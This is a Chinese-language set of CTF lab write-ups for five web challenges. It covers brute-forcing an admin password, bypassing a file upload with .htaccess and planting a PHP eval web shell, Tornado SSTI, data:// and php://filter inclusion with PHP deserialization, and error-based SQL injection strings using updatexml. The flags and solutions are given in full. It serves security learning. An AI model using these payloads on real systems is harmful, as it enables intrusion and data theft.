[HCTF 2018]admin
這道題目就是admin說明得管理員登入
那我直接創一個admin的賬號但是顯示已經存在了
說明使用者名稱就是admin,然後我們直接爆破,也是爆破出來密碼就是123
直接登入
[MRCTF2020]你傳你🐎呢
這個題就是檔案上傳,我們MIME繞過,字尾名都被ban了,我們上傳.htaccess繞過
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
然後上傳一句話木馬
<?php @eval($_POST['cmd']);?>
然後蟻劍連線,根目錄找到flag
護網杯 2018]easy_tornado
參考:
[護網杯 2018]easy_tornado 1(兩種解法!)_easytornado-CSDN部落格
SSTI入門詳解-CSDN部落格
開啟題目,知道我們的hashfile是由cookie還有filename決定的
檔名我們是已經有了
看了大佬的題解,他就是SSTI
error?msg={{handler.settings}}
handler.settings就是
在tornado模板中,存在一些可以訪問的快速物件,這裡用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這裡面就是我們的一些環境變數。
然後我們去加密檔名,然後和cookie拼接起來,在加密一次
cookie值
cc4783e1-81c0-44bc-9833-2272b1f64a7f
filename MD5加密後
3bf9f6cf685a6dd8defadabfb41a03a1
拼接後
cc4783e1-81c0-44bc-9833-2272b1f64a7f3bf9f6cf685a6dd8defadabfb41a03a1
再次加密
2c122b43eabf95f1ea4472881f56c7a2
訪問
?filename=/fllllllllllllag&filehash=2c122b43eabf95f1ea4472881f56c7a2
[ZJCTF 2019]NiZhuanSiWei
這道題是檔案包含題+反序列化
第一層就是要文字里面的內容是welcome to the zjctf、
那我們就用data://text/plain
?text=data://text/plain,welcome to the zjctf
第二關,他提示我們需要useless.php
我們檢視useless.php的原始碼,用php://filter
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解碼出來是這樣
第三關我們需要反序列化
最後總的就是這個
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
檢視原始碼,找到flag
[極客大挑戰 2019]HardSQL
參考:
[極客大挑戰 2019]HardSQL 1-CSDN部落格
[極客大挑戰 2019]HardSQL-CSDN部落格
這道題看大佬們的WP,我做這個sql題每次都被拷打
爆庫:
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
爆表:
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
爆列:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆資料:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
flag{9393e26b-77ea-42e0-
這裡其實只能拿到一半flag,我之前也遇到這個問題,這次也是終於解決了
新知識:查不全時可用left(),right()
substring與mid被過濾可以用right與left來繞過
這裡就用right
admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#
完整的flag
flag{9393e26b-77ea-42e0-ace4-63d3a27718be}